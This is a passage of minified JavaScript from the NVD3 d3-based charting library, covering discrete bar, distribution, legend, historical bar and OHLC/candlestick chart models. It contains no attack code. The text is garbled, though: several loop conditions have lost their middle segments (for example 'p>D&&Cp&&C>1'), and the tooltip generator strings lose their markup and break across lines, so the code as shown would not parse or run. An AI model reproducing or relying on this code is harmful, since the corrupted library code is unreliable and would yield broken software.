"+o(0)+")"}).on("mouseover",function(a,b){d3.select(this).classed("hover",!0),v.elementMouseover({data:a,index:b,color:d3.select(this).style("fill")})}).on("mouseout",function(a,b){d3.select(this).classed("hover",!1),v.elementMouseout({data:a,index:b,color:d3.select(this).style("fill")})}).on("mousemove",function(a,b){v.elementMousemove({data:a,index:b,color:d3.select(this).style("fill")})}).on("click",function(a,b){v.elementClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation()}).on("dblclick",function(a,b){v.elementDblClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation()});F.append("rect").attr("height",0).attr("width",.9*n.rangeBand()/b.length),t?(F.append("text").attr("text-anchor","middle"),E.select("text").text(function(a,b){return u(q(a,b))}).watchTransition(y,"discreteBar: bars text").attr("x",.9*n.rangeBand()/2).attr("y",function(a,b){return q(a,b)<0?o(q(a,b))-o(0)+12:-4})):E.selectAll("text").remove(),E.attr("class",function(a,b){return q(a,b)<0?"nv-bar negative":"nv-bar positive"}).style("fill",function(a,b){return a.color||s(a,b)}).style("stroke",function(a,b){return a.color||s(a,b)}).select("rect").attr("class",w).watchTransition(y,"discreteBar: bars rect").attr("width",.9*n.rangeBand()/b.length),E.watchTransition(y,"discreteBar: bars").attr("transform",function(a,b){var c=n(p(a,b))+.05*n.rangeBand(),d=q(a,b)<0?o(0):o(0)-o(q(a,b))<1?o(0)-1:o(q(a,b));return"translate("+c+", "+d+")"}).select("rect").attr("height",function(a,b){return Math.max(Math.abs(o(q(a,b))-o(e&&e[0]||0))||1)}),h=n.copy(),i=o.copy()}),y.renderEnd("discreteBar immediate"),b}var c,d,e,f,g,h,i,j={top:0,right:0,bottom:0,left:0},k=960,l=500,m=Math.floor(1e4*Math.random()),n=d3.scale.ordinal(),o=d3.scale.linear(),p=function(a){return a.x},q=function(a){return a.y},r=[0],s=a.utils.defaultColor(),t=!1,u=d3.format(",.2f"),v=d3.dispatch("chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove","renderEnd"),w="discreteBar",x=250,y=a.utils.renderWatch(v,x);return b.dispatch=v,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return k},set:function(a){k=a}},height:{get:function(){return l},set:function(a){l=a}},forceY:{get:function(){return r},set:function(a){r=a}},showValues:{get:function(){return t},set:function(a){t=a}},x:{get:function(){return p},set:function(a){p=a}},y:{get:function(){return q},set:function(a){q=a}},xScale:{get:function(){return n},set:function(a){n=a}},yScale:{get:function(){return o},set:function(a){o=a}},xDomain:{get:function(){return d},set:function(a){d=a}},yDomain:{get:function(){return e},set:function(a){e=a}},xRange:{get:function(){return f},set:function(a){f=a}},yRange:{get:function(){return g},set:function(a){g=a}},valueFormat:{get:function(){return u},set:function(a){u=a}},id:{get:function(){return m},set:function(a){m=a}},rectClass:{get:function(){return w},set:function(a){w=a}},margin:{get:function(){return j},set:function(a){j.top=void 0!==a.top?a.top:j.top,j.right=void 0!==a.right?a.right:j.right,j.bottom=void 0!==a.bottom?a.bottom:j.bottom,j.left=void 0!==a.left?a.left:j.left}},color:{get:function(){return s},set:function(b){s=a.utils.getColor(b)}},duration:{get:function(){return x},set:function(a){x=a,y.reset(x)}}}),a.utils.initOptions(b),b},a.models.discreteBarChart=function(){"use strict";function b(h){return t.reset(),t.models(e),m&&t.models(f),n&&t.models(g),h.each(function(h){var l=d3.select(this);a.utils.initSVG(l);var q=a.utils.availableWidth(j,l,i),t=a.utils.availableHeight(k,l,i);if(b.update=function(){r.beforeUpdate(),l.transition().duration(s).call(b)},b.container=this,!(h&&h.length&&h.filter(function(a){return a.values.length}).length))return a.utils.noData(b,l),b;l.selectAll(".nv-noData").remove(),c=e.xScale(),d=e.yScale().clamp(!0);var u=l.selectAll("g.nv-wrap.nv-discreteBarWithAxes").data([h]),v=u.enter().append("g").attr("class","nvd3 nv-wrap nv-discreteBarWithAxes").append("g"),w=v.append("defs"),x=u.select("g");v.append("g").attr("class","nv-x nv-axis"),v.append("g").attr("class","nv-y nv-axis").append("g").attr("class","nv-zeroLine").append("line"),v.append("g").attr("class","nv-barsWrap"),x.attr("transform","translate("+i.left+","+i.top+")"),o&&x.select(".nv-y.nv-axis").attr("transform","translate("+q+",0)"),e.width(q).height(t);var y=x.select(".nv-barsWrap").datum(h.filter(function(a){return!a.disabled}));if(y.transition().call(e),w.append("clipPath").attr("id","nv-x-label-clip-"+e.id()).append("rect"),x.select("#nv-x-label-clip-"+e.id()+" rect").attr("width",c.rangeBand()*(p?2:1)).attr("height",16).attr("x",-c.rangeBand()/(p?1:2)),m){f.scale(c)._ticks(a.utils.calcTicksX(q/100,h)).tickSize(-t,0),x.select(".nv-x.nv-axis").attr("transform","translate(0,"+(d.range()[0]+(e.showValues()&&d.domain()[0]<0?16:0))+")"),x.select(".nv-x.nv-axis").call(f); -var z=x.select(".nv-x.nv-axis").selectAll("g");p&&z.selectAll("text").attr("transform",function(a,b,c){return"translate(0,"+(c%2==0?"5":"17")+")"})}n&&(g.scale(d)._ticks(a.utils.calcTicksY(t/36,h)).tickSize(-q,0),x.select(".nv-y.nv-axis").call(g)),x.select(".nv-zeroLine line").attr("x1",0).attr("x2",q).attr("y1",d(0)).attr("y2",d(0))}),t.renderEnd("discreteBar chart immediate"),b}var c,d,e=a.models.discreteBar(),f=a.models.axis(),g=a.models.axis(),h=a.models.tooltip(),i={top:15,right:10,bottom:50,left:60},j=null,k=null,l=a.utils.getColor(),m=!0,n=!0,o=!1,p=!1,q=null,r=d3.dispatch("beforeUpdate","renderEnd"),s=250;f.orient("bottom").showMaxMin(!1).tickFormat(function(a){return a}),g.orient(o?"right":"left").tickFormat(d3.format(",.1f")),h.duration(0).headerEnabled(!1).valueFormatter(function(a,b){return g.tickFormat()(a,b)}).keyFormatter(function(a,b){return f.tickFormat()(a,b)});var t=a.utils.renderWatch(r,s);return e.dispatch.on("elementMouseover.tooltip",function(a){a.series={key:b.x()(a.data),value:b.y()(a.data),color:a.color},h.data(a).hidden(!1)}),e.dispatch.on("elementMouseout.tooltip",function(){h.hidden(!0)}),e.dispatch.on("elementMousemove.tooltip",function(){h.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.dispatch=r,b.discretebar=e,b.xAxis=f,b.yAxis=g,b.tooltip=h,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return j},set:function(a){j=a}},height:{get:function(){return k},set:function(a){k=a}},staggerLabels:{get:function(){return p},set:function(a){p=a}},showXAxis:{get:function(){return m},set:function(a){m=a}},showYAxis:{get:function(){return n},set:function(a){n=a}},noData:{get:function(){return q},set:function(a){q=a}},tooltips:{get:function(){return h.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),h.enabled(!!b)}},tooltipContent:{get:function(){return h.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),h.contentGenerator(b)}},margin:{get:function(){return i},set:function(a){i.top=void 0!==a.top?a.top:i.top,i.right=void 0!==a.right?a.right:i.right,i.bottom=void 0!==a.bottom?a.bottom:i.bottom,i.left=void 0!==a.left?a.left:i.left}},duration:{get:function(){return s},set:function(a){s=a,t.reset(s),e.duration(s),f.duration(s),g.duration(s)}},color:{get:function(){return l},set:function(b){l=a.utils.getColor(b),e.color(l)}},rightAlignYAxis:{get:function(){return o},set:function(a){o=a,g.orient(a?"right":"left")}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.distribution=function(){"use strict";function b(k){return m.reset(),k.each(function(b){var k=(e-("x"===g?d.left+d.right:d.top+d.bottom),"x"==g?"y":"x"),l=d3.select(this);a.utils.initSVG(l),c=c||j;var n=l.selectAll("g.nv-distribution").data([b]),o=n.enter().append("g").attr("class","nvd3 nv-distribution"),p=(o.append("g"),n.select("g"));n.attr("transform","translate("+d.left+","+d.top+")");var q=p.selectAll("g.nv-dist").data(function(a){return a},function(a){return a.key});q.enter().append("g"),q.attr("class",function(a,b){return"nv-dist nv-series-"+b}).style("stroke",function(a,b){return i(a,b)});var r=q.selectAll("line.nv-dist"+g).data(function(a){return a.values});r.enter().append("line").attr(g+"1",function(a,b){return c(h(a,b))}).attr(g+"2",function(a,b){return c(h(a,b))}),m.transition(q.exit().selectAll("line.nv-dist"+g),"dist exit").attr(g+"1",function(a,b){return j(h(a,b))}).attr(g+"2",function(a,b){return j(h(a,b))}).style("stroke-opacity",0).remove(),r.attr("class",function(a,b){return"nv-dist"+g+" nv-dist"+g+"-"+b}).attr(k+"1",0).attr(k+"2",f),m.transition(r,"dist").attr(g+"1",function(a,b){return j(h(a,b))}).attr(g+"2",function(a,b){return j(h(a,b))}),c=j.copy()}),m.renderEnd("distribution immediate"),b}var c,d={top:0,right:0,bottom:0,left:0},e=400,f=8,g="x",h=function(a){return a[g]},i=a.utils.defaultColor(),j=d3.scale.linear(),k=250,l=d3.dispatch("renderEnd"),m=a.utils.renderWatch(l,k);return b.options=a.utils.optionsFunc.bind(b),b.dispatch=l,b.margin=function(a){return arguments.length?(d.top="undefined"!=typeof a.top?a.top:d.top,d.right="undefined"!=typeof a.right?a.right:d.right,d.bottom="undefined"!=typeof a.bottom?a.bottom:d.bottom,d.left="undefined"!=typeof a.left?a.left:d.left,b):d},b.width=function(a){return arguments.length?(e=a,b):e},b.axis=function(a){return arguments.length?(g=a,b):g},b.size=function(a){return arguments.length?(f=a,b):f},b.getData=function(a){return arguments.length?(h=d3.functor(a),b):h},b.scale=function(a){return arguments.length?(j=a,b):j},b.color=function(c){return arguments.length?(i=a.utils.getColor(c),b):i},b.duration=function(a){return arguments.length?(k=a,m.reset(k),b):k},b},a.models.furiousLegend=function(){"use strict";function b(p){function q(a,b){return"furious"!=o?"#000":m?a.disengaged?g(a,b):"#fff":m?void 0:a.disabled?g(a,b):"#fff"}function r(a,b){return m&&"furious"==o?a.disengaged?"#fff":g(a,b):a.disabled?"#fff":g(a,b)}return p.each(function(b){var p=d-c.left-c.right,s=d3.select(this);a.utils.initSVG(s);var t=s.selectAll("g.nv-legend").data([b]),u=(t.enter().append("g").attr("class","nvd3 nv-legend").append("g"),t.select("g"));t.attr("transform","translate("+c.left+","+c.top+")");var v,w=u.selectAll(".nv-series").data(function(a){return"furious"!=o?a:a.filter(function(a){return m?!0:!a.disengaged})}),x=w.enter().append("g").attr("class","nv-series");if("classic"==o)x.append("circle").style("stroke-width",2).attr("class","nv-legend-symbol").attr("r",5),v=w.select("circle");else if("furious"==o){x.append("rect").style("stroke-width",2).attr("class","nv-legend-symbol").attr("rx",3).attr("ry",3),v=w.select("rect"),x.append("g").attr("class","nv-check-box").property("innerHTML",'').attr("transform","translate(-10,-8)scale(0.5)");var y=w.select(".nv-check-box");y.each(function(a,b){d3.select(this).selectAll("path").attr("stroke",q(a,b))})}x.append("text").attr("text-anchor","start").attr("class","nv-legend-text").attr("dy",".32em").attr("dx","8");var z=w.select("text.nv-legend-text");w.on("mouseover",function(a,b){n.legendMouseover(a,b)}).on("mouseout",function(a,b){n.legendMouseout(a,b)}).on("click",function(a,b){n.legendClick(a,b);var c=w.data();if(k){if("classic"==o)l?(c.forEach(function(a){a.disabled=!0}),a.disabled=!1):(a.disabled=!a.disabled,c.every(function(a){return a.disabled})&&c.forEach(function(a){a.disabled=!1}));else if("furious"==o)if(m)a.disengaged=!a.disengaged,a.userDisabled=void 0==a.userDisabled?!!a.disabled:a.userDisabled,a.disabled=a.disengaged||a.userDisabled;else if(!m){a.disabled=!a.disabled,a.userDisabled=a.disabled;var d=c.filter(function(a){return!a.disengaged});d.every(function(a){return a.userDisabled})&&c.forEach(function(a){a.disabled=a.userDisabled=!1})}n.stateChange({disabled:c.map(function(a){return!!a.disabled}),disengaged:c.map(function(a){return!!a.disengaged})})}}).on("dblclick",function(a,b){if(("furious"!=o||!m)&&(n.legendDblclick(a,b),k)){var c=w.data();c.forEach(function(a){a.disabled=!0,"furious"==o&&(a.userDisabled=a.disabled)}),a.disabled=!1,"furious"==o&&(a.userDisabled=a.disabled),n.stateChange({disabled:c.map(function(a){return!!a.disabled})})}}),w.classed("nv-disabled",function(a){return a.userDisabled}),w.exit().remove(),z.attr("fill",q).text(f);var A;switch(o){case"furious":A=23;break;case"classic":A=20}if(h){var B=[];w.each(function(){var b,c=d3.select(this).select("text");try{if(b=c.node().getComputedTextLength(),0>=b)throw Error()}catch(d){b=a.utils.calcApproxTextWidth(c)}B.push(b+i)});for(var C=0,D=0,E=[];p>D&&Cp&&C>1;){E=[],C--;for(var F=0;F(E[F%C]||0)&&(E[F%C]=B[F]);D=E.reduce(function(a,b){return a+b})}for(var G=[],H=0,I=0;C>H;H++)G[H]=I,I+=E[H];w.attr("transform",function(a,b){return"translate("+G[b%C]+","+(5+Math.floor(b/C)*A)+")"}),j?u.attr("transform","translate("+(d-c.right-D)+","+c.top+")"):u.attr("transform","translate(0,"+c.top+")"),e=c.top+c.bottom+Math.ceil(B.length/C)*A}else{var J,K=5,L=5,M=0;w.attr("transform",function(){var a=d3.select(this).select("text").node().getComputedTextLength()+i;return J=L,dM&&(M=L),"translate("+J+","+K+")"}),u.attr("transform","translate("+(d-c.right-M)+","+c.top+")"),e=c.top+c.bottom+K+15}"furious"==o&&v.attr("width",function(a,b){return z[0][b].getComputedTextLength()+27}).attr("height",18).attr("y",-9).attr("x",-15),v.style("fill",r).style("stroke",function(a,b){return a.color||g(a,b)})}),b}var c={top:5,right:0,bottom:5,left:0},d=400,e=20,f=function(a){return a.key},g=a.utils.getColor(),h=!0,i=28,j=!0,k=!0,l=!1,m=!1,n=d3.dispatch("legendClick","legendDblclick","legendMouseover","legendMouseout","stateChange"),o="classic";return b.dispatch=n,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return d},set:function(a){d=a}},height:{get:function(){return e},set:function(a){e=a}},key:{get:function(){return f},set:function(a){f=a}},align:{get:function(){return h},set:function(a){h=a}},rightAlign:{get:function(){return j},set:function(a){j=a}},padding:{get:function(){return i},set:function(a){i=a}},updateState:{get:function(){return k},set:function(a){k=a}},radioButtonMode:{get:function(){return l},set:function(a){l=a}},expanded:{get:function(){return m},set:function(a){m=a}},vers:{get:function(){return o},set:function(a){o=a}},margin:{get:function(){return c},set:function(a){c.top=void 0!==a.top?a.top:c.top,c.right=void 0!==a.right?a.right:c.right,c.bottom=void 0!==a.bottom?a.bottom:c.bottom,c.left=void 0!==a.left?a.left:c.left}},color:{get:function(){return g},set:function(b){g=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.historicalBar=function(){"use strict";function b(x){return x.each(function(b){w.reset(),k=d3.select(this);var x=a.utils.availableWidth(h,k,g),y=a.utils.availableHeight(i,k,g);a.utils.initSVG(k),l.domain(c||d3.extent(b[0].values.map(n).concat(p))),l.range(r?e||[.5*x/b[0].values.length,x*(b[0].values.length-.5)/b[0].values.length]:e||[0,x]),m.domain(d||d3.extent(b[0].values.map(o).concat(q))).range(f||[y,0]),l.domain()[0]===l.domain()[1]&&l.domain(l.domain()[0]?[l.domain()[0]-.01*l.domain()[0],l.domain()[1]+.01*l.domain()[1]]:[-1,1]),m.domain()[0]===m.domain()[1]&&m.domain(m.domain()[0]?[m.domain()[0]+.01*m.domain()[0],m.domain()[1]-.01*m.domain()[1]]:[-1,1]);var z=k.selectAll("g.nv-wrap.nv-historicalBar-"+j).data([b[0].values]),A=z.enter().append("g").attr("class","nvd3 nv-wrap nv-historicalBar-"+j),B=A.append("defs"),C=A.append("g"),D=z.select("g");C.append("g").attr("class","nv-bars"),z.attr("transform","translate("+g.left+","+g.top+")"),k.on("click",function(a,b){u.chartClick({data:a,index:b,pos:d3.event,id:j})}),B.append("clipPath").attr("id","nv-chart-clip-path-"+j).append("rect"),z.select("#nv-chart-clip-path-"+j+" rect").attr("width",x).attr("height",y),D.attr("clip-path",s?"url(#nv-chart-clip-path-"+j+")":"");var E=z.select(".nv-bars").selectAll(".nv-bar").data(function(a){return a},function(a,b){return n(a,b)});E.exit().remove(),E.enter().append("rect").attr("x",0).attr("y",function(b,c){return a.utils.NaNtoZero(m(Math.max(0,o(b,c))))}).attr("height",function(b,c){return a.utils.NaNtoZero(Math.abs(m(o(b,c))-m(0)))}).attr("transform",function(a,c){return"translate("+(l(n(a,c))-x/b[0].values.length*.45)+",0)"}).on("mouseover",function(a,b){v&&(d3.select(this).classed("hover",!0),u.elementMouseover({data:a,index:b,color:d3.select(this).style("fill")}))}).on("mouseout",function(a,b){v&&(d3.select(this).classed("hover",!1),u.elementMouseout({data:a,index:b,color:d3.select(this).style("fill")}))}).on("mousemove",function(a,b){v&&u.elementMousemove({data:a,index:b,color:d3.select(this).style("fill")})}).on("click",function(a,b){v&&(u.elementClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation())}).on("dblclick",function(a,b){v&&(u.elementDblClick({data:a,index:b,color:d3.select(this).style("fill")}),d3.event.stopPropagation())}),E.attr("fill",function(a,b){return t(a,b)}).attr("class",function(a,b,c){return(o(a,b)<0?"nv-bar negative":"nv-bar positive")+" nv-bar-"+c+"-"+b}).watchTransition(w,"bars").attr("transform",function(a,c){return"translate("+(l(n(a,c))-x/b[0].values.length*.45)+",0)"}).attr("width",x/b[0].values.length*.9),E.watchTransition(w,"bars").attr("y",function(b,c){var d=o(b,c)<0?m(0):m(0)-m(o(b,c))<1?m(0)-1:m(o(b,c));return a.utils.NaNtoZero(d)}).attr("height",function(b,c){return a.utils.NaNtoZero(Math.max(Math.abs(m(o(b,c))-m(0)),1))})}),w.renderEnd("historicalBar immediate"),b}var c,d,e,f,g={top:0,right:0,bottom:0,left:0},h=null,i=null,j=Math.floor(1e4*Math.random()),k=null,l=d3.scale.linear(),m=d3.scale.linear(),n=function(a){return a.x},o=function(a){return a.y},p=[],q=[0],r=!1,s=!0,t=a.utils.defaultColor(),u=d3.dispatch("chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove","renderEnd"),v=!0,w=a.utils.renderWatch(u,0);return b.highlightPoint=function(a,b){k.select(".nv-bars .nv-bar-0-"+a).classed("hover",b)},b.clearHighlights=function(){k.select(".nv-bars .nv-bar.hover").classed("hover",!1)},b.dispatch=u,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return h},set:function(a){h=a}},height:{get:function(){return i},set:function(a){i=a}},forceX:{get:function(){return p},set:function(a){p=a}},forceY:{get:function(){return q},set:function(a){q=a}},padData:{get:function(){return r},set:function(a){r=a}},x:{get:function(){return n},set:function(a){n=a}},y:{get:function(){return o},set:function(a){o=a}},xScale:{get:function(){return l},set:function(a){l=a}},yScale:{get:function(){return m},set:function(a){m=a}},xDomain:{get:function(){return c},set:function(a){c=a}},yDomain:{get:function(){return d},set:function(a){d=a}},xRange:{get:function(){return e},set:function(a){e=a}},yRange:{get:function(){return f},set:function(a){f=a}},clipEdge:{get:function(){return s},set:function(a){s=a}},id:{get:function(){return j},set:function(a){j=a}},interactive:{get:function(){return v},set:function(a){v=a}},margin:{get:function(){return g},set:function(a){g.top=void 0!==a.top?a.top:g.top,g.right=void 0!==a.right?a.right:g.right,g.bottom=void 0!==a.bottom?a.bottom:g.bottom,g.left=void 0!==a.left?a.left:g.left}},color:{get:function(){return t},set:function(b){t=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.historicalBarChart=function(b){"use strict";function c(b){return b.each(function(k){z.reset(),z.models(f),q&&z.models(g),r&&z.models(h);var w=d3.select(this),A=this;a.utils.initSVG(w);var B=a.utils.availableWidth(n,w,l),C=a.utils.availableHeight(o,w,l);if(c.update=function(){w.transition().duration(y).call(c)},c.container=this,u.disabled=k.map(function(a){return!!a.disabled}),!v){var D;v={};for(D in u)v[D]=u[D]instanceof Array?u[D].slice(0):u[D]}if(!(k&&k.length&&k.filter(function(a){return a.values.length}).length))return a.utils.noData(c,w),c;w.selectAll(".nv-noData").remove(),d=f.xScale(),e=f.yScale();var E=w.selectAll("g.nv-wrap.nv-historicalBarChart").data([k]),F=E.enter().append("g").attr("class","nvd3 nv-wrap nv-historicalBarChart").append("g"),G=E.select("g");F.append("g").attr("class","nv-x nv-axis"),F.append("g").attr("class","nv-y nv-axis"),F.append("g").attr("class","nv-barsWrap"),F.append("g").attr("class","nv-legendWrap"),F.append("g").attr("class","nv-interactive"),p&&(i.width(B),G.select(".nv-legendWrap").datum(k).call(i),l.top!=i.height()&&(l.top=i.height(),C=a.utils.availableHeight(o,w,l)),E.select(".nv-legendWrap").attr("transform","translate(0,"+-l.top+")")),E.attr("transform","translate("+l.left+","+l.top+")"),s&&G.select(".nv-y.nv-axis").attr("transform","translate("+B+",0)"),t&&(j.width(B).height(C).margin({left:l.left,top:l.top}).svgContainer(w).xScale(d),E.select(".nv-interactive").call(j)),f.width(B).height(C).color(k.map(function(a,b){return a.color||m(a,b)}).filter(function(a,b){return!k[b].disabled}));var H=G.select(".nv-barsWrap").datum(k.filter(function(a){return!a.disabled}));H.transition().call(f),q&&(g.scale(d)._ticks(a.utils.calcTicksX(B/100,k)).tickSize(-C,0),G.select(".nv-x.nv-axis").attr("transform","translate(0,"+e.range()[0]+")"),G.select(".nv-x.nv-axis").transition().call(g)),r&&(h.scale(e)._ticks(a.utils.calcTicksY(C/36,k)).tickSize(-B,0),G.select(".nv-y.nv-axis").transition().call(h)),j.dispatch.on("elementMousemove",function(b){f.clearHighlights();var d,e,i,n=[];k.filter(function(a,b){return a.seriesIndex=b,!a.disabled}).forEach(function(g){e=a.interactiveBisect(g.values,b.pointXValue,c.x()),f.highlightPoint(e,!0);var h=g.values[e];void 0!==h&&(void 0===d&&(d=h),void 0===i&&(i=c.xScale()(c.x()(h,e))),n.push({key:g.key,value:c.y()(h,e),color:m(g,g.seriesIndex),data:g.values[e]}))});var o=g.tickFormat()(c.x()(d,e));j.tooltip.position({left:i+l.left,top:b.mouseY+l.top}).chartContainer(A.parentNode).valueFormatter(function(a){return h.tickFormat()(a)}).data({value:o,index:e,series:n})(),j.renderGuideLine(i)}),j.dispatch.on("elementMouseout",function(){x.tooltipHide(),f.clearHighlights()}),i.dispatch.on("legendClick",function(a){a.disabled=!a.disabled,k.filter(function(a){return!a.disabled}).length||k.map(function(a){return a.disabled=!1,E.selectAll(".nv-series").classed("disabled",!1),a}),u.disabled=k.map(function(a){return!!a.disabled}),x.stateChange(u),b.transition().call(c)}),i.dispatch.on("legendDblclick",function(a){k.forEach(function(a){a.disabled=!0}),a.disabled=!1,u.disabled=k.map(function(a){return!!a.disabled}),x.stateChange(u),c.update()}),x.on("changeState",function(a){"undefined"!=typeof a.disabled&&(k.forEach(function(b,c){b.disabled=a.disabled[c]}),u.disabled=a.disabled),c.update()})}),z.renderEnd("historicalBarChart immediate"),c}var d,e,f=b||a.models.historicalBar(),g=a.models.axis(),h=a.models.axis(),i=a.models.legend(),j=a.interactiveGuideline(),k=a.models.tooltip(),l={top:30,right:90,bottom:50,left:90},m=a.utils.defaultColor(),n=null,o=null,p=!1,q=!0,r=!0,s=!1,t=!1,u={},v=null,w=null,x=d3.dispatch("tooltipHide","stateChange","changeState","renderEnd"),y=250;g.orient("bottom").tickPadding(7),h.orient(s?"right":"left"),k.duration(0).headerEnabled(!1).valueFormatter(function(a,b){return h.tickFormat()(a,b)}).headerFormatter(function(a,b){return g.tickFormat()(a,b)});var z=a.utils.renderWatch(x,0);return f.dispatch.on("elementMouseover.tooltip",function(a){a.series={key:c.x()(a.data),value:c.y()(a.data),color:a.color},k.data(a).hidden(!1)}),f.dispatch.on("elementMouseout.tooltip",function(){k.hidden(!0)}),f.dispatch.on("elementMousemove.tooltip",function(){k.position({top:d3.event.pageY,left:d3.event.pageX})()}),c.dispatch=x,c.bars=f,c.legend=i,c.xAxis=g,c.yAxis=h,c.interactiveLayer=j,c.tooltip=k,c.options=a.utils.optionsFunc.bind(c),c._options=Object.create({},{width:{get:function(){return n},set:function(a){n=a}},height:{get:function(){return o},set:function(a){o=a}},showLegend:{get:function(){return p},set:function(a){p=a}},showXAxis:{get:function(){return q},set:function(a){q=a}},showYAxis:{get:function(){return r},set:function(a){r=a}},defaultState:{get:function(){return v},set:function(a){v=a}},noData:{get:function(){return w},set:function(a){w=a}},tooltips:{get:function(){return k.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),k.enabled(!!b)}},tooltipContent:{get:function(){return k.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),k.contentGenerator(b)}},margin:{get:function(){return l},set:function(a){l.top=void 0!==a.top?a.top:l.top,l.right=void 0!==a.right?a.right:l.right,l.bottom=void 0!==a.bottom?a.bottom:l.bottom,l.left=void 0!==a.left?a.left:l.left}},color:{get:function(){return m},set:function(b){m=a.utils.getColor(b),i.color(m),f.color(m)}},duration:{get:function(){return y},set:function(a){y=a,z.reset(y),h.duration(y),g.duration(y)}},rightAlignYAxis:{get:function(){return s},set:function(a){s=a,h.orient(a?"right":"left")}},useInteractiveGuideline:{get:function(){return t},set:function(a){t=a,a===!0&&c.interactive(!1)}}}),a.utils.inheritOptions(c,f),a.utils.initOptions(c),c},a.models.ohlcBarChart=function(){var b=a.models.historicalBarChart(a.models.ohlcBar());return b.useInteractiveGuideline(!0),b.interactiveLayer.tooltip.contentGenerator(function(a){var c=a.series[0].data,d=c.open'+a.value+"
      open:"+b.yAxis.tickFormat()(c.open)+"
      close:"+b.yAxis.tickFormat()(c.close)+"
      high"+b.yAxis.tickFormat()(c.high)+"
      low:"+b.yAxis.tickFormat()(c.low)+"
      "}),b},a.models.candlestickBarChart=function(){var b=a.models.historicalBarChart(a.models.candlestickBar());return b.useInteractiveGuideline(!0),b.interactiveLayer.tooltip.contentGenerator(function(a){var c=a.series[0].data,d=c.open'+a.value+"
      open:"+b.yAxis.tickFormat()(c.open)+"
      close:"+b.yAxis.tickFormat()(c.close)+"
      high"+b.yAxis.tickFormat()(c.high)+"
      low:"+b.yAxis.tickFormat()(c.low)+"
      "}),b},a.models.legend=function(){"use strict";function b(p){function q(a,b){return"furious"!=o?"#000":m?a.disengaged?"#000":"#fff":m?void 0:(a.color||(a.color=g(a,b)),a.disabled?a.color:"#fff")}function r(a,b){return m&&"furious"==o&&a.disengaged?"#eee":a.color||g(a,b)}function s(a){return m&&"furious"==o?1:a.disabled?0:1}return p.each(function(b){var g=d-c.left-c.right,p=d3.select(this);a.utils.initSVG(p);var t=p.selectAll("g.nv-legend").data([b]),u=t.enter().append("g").attr("class","nvd3 nv-legend").append("g"),v=t.select("g");t.attr("transform","translate("+c.left+","+c.top+")");var w,x,y=v.selectAll(".nv-series").data(function(a){return"furious"!=o?a:a.filter(function(a){return m?!0:!a.disengaged})}),z=y.enter().append("g").attr("class","nv-series");switch(o){case"furious":x=23;break;case"classic":x=20}if("classic"==o)z.append("circle").style("stroke-width",2).attr("class","nv-legend-symbol").attr("r",5),w=y.select("circle");else if("furious"==o){z.append("rect").style("stroke-width",2).attr("class","nv-legend-symbol").attr("rx",3).attr("ry",3),w=y.select(".nv-legend-symbol"),z.append("g").attr("class","nv-check-box").property("innerHTML",'').attr("transform","translate(-10,-8)scale(0.5)");var A=y.select(".nv-check-box");A.each(function(a,b){d3.select(this).selectAll("path").attr("stroke",q(a,b))})}z.append("text").attr("text-anchor","start").attr("class","nv-legend-text").attr("dy",".32em").attr("dx","8");var B=y.select("text.nv-legend-text");y.on("mouseover",function(a,b){n.legendMouseover(a,b)}).on("mouseout",function(a,b){n.legendMouseout(a,b)}).on("click",function(a,b){n.legendClick(a,b);var c=y.data();if(k){if("classic"==o)l?(c.forEach(function(a){a.disabled=!0}),a.disabled=!1):(a.disabled=!a.disabled,c.every(function(a){return a.disabled})&&c.forEach(function(a){a.disabled=!1}));else if("furious"==o)if(m)a.disengaged=!a.disengaged,a.userDisabled=void 0==a.userDisabled?!!a.disabled:a.userDisabled,a.disabled=a.disengaged||a.userDisabled;else if(!m){a.disabled=!a.disabled,a.userDisabled=a.disabled;var d=c.filter(function(a){return!a.disengaged});d.every(function(a){return a.userDisabled})&&c.forEach(function(a){a.disabled=a.userDisabled=!1})}n.stateChange({disabled:c.map(function(a){return!!a.disabled}),disengaged:c.map(function(a){return!!a.disengaged})})}}).on("dblclick",function(a,b){if(("furious"!=o||!m)&&(n.legendDblclick(a,b),k)){var c=y.data();c.forEach(function(a){a.disabled=!0,"furious"==o&&(a.userDisabled=a.disabled)}),a.disabled=!1,"furious"==o&&(a.userDisabled=a.disabled),n.stateChange({disabled:c.map(function(a){return!!a.disabled})})}}),y.classed("nv-disabled",function(a){return a.userDisabled}),y.exit().remove(),B.attr("fill",q).text(f);var C=0;if(h){var D=[];y.each(function(){var b,c=d3.select(this).select("text");try{if(b=c.node().getComputedTextLength(),0>=b)throw Error()}catch(d){b=a.utils.calcApproxTextWidth(c)}D.push(b+i)});var E=0,F=[];for(C=0;g>C&&Eg&&E>1;){F=[],E--;for(var G=0;G(F[G%E]||0)&&(F[G%E]=D[G]);C=F.reduce(function(a,b){return a+b})}for(var H=[],I=0,J=0;E>I;I++)H[I]=J,J+=F[I];y.attr("transform",function(a,b){return"translate("+H[b%E]+","+(5+Math.floor(b/E)*x)+")"}),j?v.attr("transform","translate("+(d-c.right-C)+","+c.top+")"):v.attr("transform","translate(0,"+c.top+")"),e=c.top+c.bottom+Math.ceil(D.length/E)*x}else{var K,L=5,M=5,N=0;y.attr("transform",function(){var a=d3.select(this).select("text").node().getComputedTextLength()+i;return K=M,dN&&(N=M),K+N>C&&(C=K+N),"translate("+K+","+L+")"}),v.attr("transform","translate("+(d-c.right-N)+","+c.top+")"),e=c.top+c.bottom+L+15}if("furious"==o){w.attr("width",function(a,b){return 